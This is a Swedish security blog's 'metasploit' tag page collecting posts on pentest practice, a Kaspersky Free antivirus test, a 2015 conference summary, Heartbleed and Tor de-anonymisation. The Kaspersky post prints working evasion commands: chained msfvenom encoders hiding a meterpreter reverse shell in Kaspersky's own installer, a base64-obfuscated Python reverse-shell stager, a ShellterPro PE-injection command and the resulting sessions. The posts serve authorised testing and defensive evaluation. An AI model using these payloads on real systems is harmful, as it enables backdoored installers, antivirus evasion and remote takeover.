Taggat med: metasploit

20 års erfarenhet inom itsäk-granskningar

20 års erfarenhet inom säk-granskningar

Jag tänkte försöka sammanställa några kloksaker om sådant som jag lärt mig efter nästan 20 års erfarenhet av tekniska cybersäkerhetsgranskningar från min tid inom bl.a. FRA, Försvarsmakten och nu som egenföretagare.

Desto äldre jag blir desto mer tid lägger jag på att reflektera och dra slutsatser på ett övergripande och bredare plan.

Det låter eventuellt inte som viktigt men att försöka uppskatta och prioritera den tid du fått avsatt för uppdraget är viktigt. Att inte lägga för mycket tid på sådant som kan leda in i en återvändsgränd.

Beräkna tid

Låt verktygen arbeta för dig och automatisera så mycket du bara kan och på så sätt kan du lägga fokus på sådant som kräver manuellt arbete, såsom att förstå en bakomliggande logik i ett system eller mjukvara.

Lita dock inte enbart på automatiserade verktyg utan verifiera och dubbelkolla alltid resultatet.

Kommunikation

Att upprätta en bra leverabel såsom dokumentation (rapport) och ha förmåga att kommunicera denna leverabel till din uppdragsvidare är av stor vikt för framgång. Du kanske är jätteduktig teknisk men när uppdragsgivaren väl får din leverabel två veckor för sent så minskar värdet av din leverabel.

Vet du att du är mindre bra på att kommunicera och dokumentera men duktig på teknik se då till att ditt team innehåller en eller flera personer som kan kommunicera eller dokumentera.

Stödfunktioner och processer

Att ha bra processer och rutiner samt stödfunktioner som hjälper dig och höjer dig i ditt arbete så du kan leverera enligt din optimala förmåga är viktigt. Det kan röra sig om att du slipper gå på tråkiga möten där du kanske inte har något att göra eller minimera tidsrapportering. Eller att själv slippa installera om operativsystem, drivrutiner eller liknande.

Du kan i ditt arbete luta dig tillbaka till en bra grund när det gäller hur uppdrag kommer in, fördelas, prioriteras och sedan levereras. Samt efter avslutat uppdrag hur avdukning går till.

Tillgång till Internet kanske inte finns eller bör användas, därför måste du eller dina kollegor redan innan tänka till vad som kan behövas för offline-bruk. Jag brukar se till att ha många opensource-repon, indexerade digitala böcker (många förlag kan du köpa bulk billigt) samt deb-paket tillgängliga snabbt.

Här hittar du bristerna

Min erfarenhet säger mig att säkerhetsbristerna hittar du oftast på de ställen som:

  • Odokumenterade funktioner/gränssnitt/API:er
  • Ny eller gammal kod. Sök efter kod som hanterar gamla filformat eller protokoll exempelvis
  • Kod som parsar text eller andra komplexa funktioner
  • Funktioner som kan användas på andra sätt än vad utvecklaren hade tänkt på
  • Felaktig eller bristfällig separation mellan behörigheter eller användare
  • Ändringar mot grundsystemet. De flesta operativsystem nuförtiden är relativt säkra i sitt grundutförande, sök efter ändringar som genomförts.
  • Ställen där du kan nå långt in i systemet eller koden med extern indata

Finns givetvis en uppsjö till med saker där jag tittar, kanske kommer eventuellt i en bok framöver.

Spårbarhet

Att dokumentera dina findings under ditt uppdrag är av stor vikt. Speciellt eftersom att du troligtvis kan hitta ett eller annat guldkorn när du granskar exempelvis alla http-svar från webbservern eller all nätverkstrafik som du sparat undan i pcap-format.

Den efterföljande dokumentationen blir också otroligt mycket lättare om du sparat undan så mycket som möjligt. Även kan skärmdumpar eller liknande också vara bra som ett komplement till din löpande textdokumentation (krigsdagbok) eller rådata.

Glöm inte heller att du måste ha en process för att på ett säkert sätt radera all information efter avslutat uppdrag om så behövs, en del av Er OPSEC.

Tänk alltid ett steg längre

Du kanske är snabb på att skjuta iväg en ny exploit från Metasploit mot en sårbar server eller klient. Men tänk efter innan vad detta kan få för konsekvenser i ett andra eller tredje steg och ni behöver göra ett omfall.

Det kan vara så att säkerhetsövervakningen (SOC) upptäcker att ni håller på att genomföra en Red Teaming operation och då kanske ni behöver byta ip-adress, mac-adress eller liknande. Och då är det viktigt att redan innan veta hur detta går till.

Övrigt

Jag försöker även alltid ha möjlighet att göra saker på minst två olika sätt, det gör att jag kan verifiera och dubbelkolla vissa saker samt om ett verktyg eller metod skulle misslyckas kan jag alltid göra på något annat sätt. Öva är även viktigt så du och ditt team eller dina verktyg och metoder fungerar när det väl är skarp verksamhet eller ett uppdrag.

Se även till att du snabbt och enkelt kan sätta upp en miljö som efterliknar målsystemet eller den mjukvara som du granskar. Det gör att du kan hitta mer brister och inte behöver skicka alla dina tester över nätverket eller liknande.

Avslutande ord

Hoppas att detta kan leda till att du, din verksamhet eller ditt team kan bli bättre på just det ni gör inom cybersäkerhet. För jag tycker det är viktigt att vi delar med oss av våra lärdomar och kloksaker till varandra och på så sätt bygger vi säkrare infrastruktur, system och mjukvaror.

Se även till att utbilda din uppdragsgivare så denne blir en bra beställare, och hjälp till med krav och förväntningar samt förutsättningar.

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.

Next Generation Threats 2015 eftermiddag

Detta är del två i sammanfattningen av IT-säkerhetskonferensen Next Generation Threats 2015. Del ett kan du läsa här.

Jan Wünsche – Defending information in a complex reality

Jan Wünsche

Jan pratar om att MUST har ett uppdrag att skydda Försvarsmakten. Och att han representerar S:et i och inte U:et i MUST dvs Säkerhetskontoret. Försvarsmakten och MUST är en myndighet försöker att bli öppnare och Jans föredrag idag är ett steg till det.

Vi måste tänka på vilken data vi lagrar vart och vilka leverantörer som lagrar data om våra medarbetare. Hur färdas datatrafiken och hur tänker vi på tillgängligheten om hotbilden mot Sverige ökar?

Försvarsmakten använder fysiskt separerade system och äger sin egna infrastruktur med egna kablar etc. Behovet att kommunicera med andra ökar hela tiden, även för Försvarsmakten.

Se exempelvis hur det ser ut för ISAF i Afghanistan där 47 olika länder måste kommunicera med varandra. Och det gäller inte bara öppna system utan Försvarsmakten behöver även kommunicera mellan klassificerade system.

Jan nämner även att antagonister nu angriper privata datorer istället för myndighetens IT-system i hopp om att anställda tagit med sig information hem och att säkerheten är lägre på privata datorer.

Jan Wünsche är Information Assurance Strategist vid MUST.

Marcus Murray – APT, Cybercrime and cyber warfare exposed

Marcus Murray

Förr i tiden så var det enkelt att ta sig förbi brandväggen. Främst för att man bara hade en brandvägg som avgränsade Internet mot övriga nätverket. Marcus berättar att kommer att demonstrera en attack som är uppbyggd att avspegla hur en riktigt IT-angrepp skulle kunna gå till.

Marcus visar en liten USB-enhet som kan användas för att äga en dator. Just denna är programmerad att fungera som ett tangentbord. Han använder Microsoft PowerShell för att exekvera Meterpreter som gör en connect-back. Allt genomförs enbart i minnet och inget skrivs till hårddisken.

Connect-backen går till Microsoft Azure där en server hyrs och Metasploit sitter och väntar på connect-backs på https port 443.

När väl det finns en etablerad session till en klientdator så kör han Nmap från klienten och söker efter MSSQL-servrar på port 1433. Efter detta så testas de vanligaste lösenorden och ett av dessa lyckas: [email protected].

Igen så används PowerShell för att starta upp Meterpreter så att inte hårddisken används. Marcus berättar även om DNSCat2 som använder PowerShell för att tunnla trafik över DNS.

Sedan på MSSQL-servern så använder han Mimikatz för att dumpa ut hashar från systemet som sedan används för att ansluta mot domänkontrollanten.

Även så visar Marcus lösenordsdumpen från Adobe som drabbades av intrång för några år sedan. Några intressanta namn som fanns med i den var Stefan Löfven och Fredrik Reinfeldt som hade lösenordet bananskal samt steffe.

Marcus Murray är Cyber Security Manager på TrueSec.

Charlotta Öhlén – Identity Crisis

Charlotta Öhlén

Charlotta jobbar på Nexus och berättar om olika kunduppdrag där de levererat där smartcards-används för inloggning. Cast study #1 är läkare i Norge som loggar in med hjälp av dessa smarta kort.

Identity of Things handlar cast study #2 om då en CA fungerar som en managed service. Cast study #3 handlar om patientsäkerhet hos företaget Elekta där vitlistning används för mjukvaror.

Dynamisk och central identitetshantering är ett måste och inte enbart för individer utan även för mjukvaror och andra saker. Integritet är en också viktig faktor då mer och mer information hamnar i identitetshanteringen.

Charlotta Öhlén är till vardags Consulting Director vid Nexus.

OpenSSL Heartbleed dag två

broken-heartbleedDet har nu gått över två dagar sedan nyheten släpptes om sårbarheten i OpenSSL, som går under namnet Heartbleed. Det börjar bli dags att sammanfatta samt dra några slutsatser om sårbarheten.

OpenSSL is not developed by a responsible team.

– Theo de Raadt (Källa)

  • Huruvida privata nycklar kan läckas är ännu oklart men för att vara på den säkra sidan så bör nya certifikat utfärdas och privata nycklar skapas.
  • Det har verifierats att åtminstone på FreeBSD så går det att få ut privata nycklar. Uppdatering: Om systemet nyligen startats. Källa
  • Sessionsnycklar dvs cookies är lätt att exfiltrera via Heartbleed.
  • Nätverkstrafik bör sparas ner i en cyklisk buffer (FIFO) för att ges möjlighet att gå tillbaka och se om sårbarheten nyttjas. Hur lång tid tillbaka begänsas av lagringsutrymmet. Även bra för att se vad som företaget eller organisationen blivit av med. Uppdatering: Så klart ej möjligt att se vad för data som exfiltrerats om du använder PFS som Jimmy Bergman påpekar i en kommentar.
  • Regler till IDS:er finns ut såsom Snort.
  • Finns även en Heartbleed Honeypot.
  • Stora drakarna såsom Google, Twitter och Facebook var ute tidigt och patchade mycket snabbt.
  • Några hundra av Internets topp 1000 största sajter är fortfarande sårbara.
  • Röster höjs över att C är ett skräpspråk som tillåter detta fel. Varför inte skriva om allt i Go, Python eller [sätt in valfritt språk här]?
  • Byta lösenord kan vara bra om du loggat in på någon https-tjänst de senaste dagarna.
  • OpenSSL finns inbakat i en hel del hårdvara som ännu ej uppdaterats.
  • Anonymiseringsnätverket Tor såg tidigt att antagonister försökte nyttja svagheten.
  • Prioriteringarna hos de som släppte informationen kan frågasättas. Exempelvis varför domänregistrering av heartbleed.com, skapande av logotyp etc kom före att informera mjukvaru-utvecklare.
  • Diversering bland mjukvaror är bra. Läs Dan Geers rapport om monoculture.
  • Det finns oneliners, script till Nessus och Nmap samt modul till Metasploit för att nyttja sårbarheten.
  • Flertalet tjänster gör det säkra före det osäkra och stänger helt ner tills de patchat och bytt nycklar. Exempelvis Mojang/Minecraft.
  • Många skiter i att eventuella privata nycklar röjts, exempelvis Swedbank. Uppdatering: De var troligtvis aldrig sårbara i första hand.
  • Buggen introducerades Sun, 1 Jan 2012 00:59:57 +0200 (22:59 +0000), se git.
  • Använd tvåfaktorsautentisering och Perfect Forward Secrecy (PFS).
  • Revokera nuvarande certifikat.

 

 

Finns säkert en hel till. Lämna gärna en kommentar nedan. Och avslutar med följande bild:

Heartbleed honeypot

Avanonymsering av Tor

HD Moore som är grundare av MetaSploit har lagt tid på att undersöka huruvida det är möjligt att få reda på det riktiga IP-nummret hos slutanvändare som använder sig av Tor. Resultatet är att det är möjligt om användaren inte använder sig av Tor+Torbutton+Privoxy.

Du kan testa själv om din Tor-konfiguration är säker genom att gå in på följande sajt:

http://metasploit.com/data/decloak/

”Decloak is unique in that it can obtain the DNS server addresses used by a web browser by combining the results of multiple application protocols into a single test”